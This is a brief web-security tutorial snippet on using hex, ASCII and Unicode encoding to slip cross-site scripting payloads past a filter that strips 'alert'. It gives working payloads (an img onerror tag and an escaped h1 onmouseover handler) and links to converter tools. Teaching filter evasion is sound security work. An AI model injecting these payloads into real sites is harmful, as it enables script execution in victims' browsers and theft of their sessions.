WHAT IS ENCODING?
It is the process of converting data from one form to another form using a scheme that is publicly available so that it can easily be reversed.
“><img src=x onerror=alert(1)> returned as
“><img src=x onerror=(1)>
You may try encoding it to Hex, ASCII code or Unicode entities.
You can mix up the encoding and it’ll still work.
test <h1/onmouseover='\u0061le\u0072t(1)'>hover over text. – mixture of HEX, ASCII and Unicode
https://www.branah.com/ascii-converter (remove 0 for HEX encoding e.g: “t” -> “0x74” -> “x74”)
https://www.branah.com/unicode-converter (ASCII codes are in Decimal representation)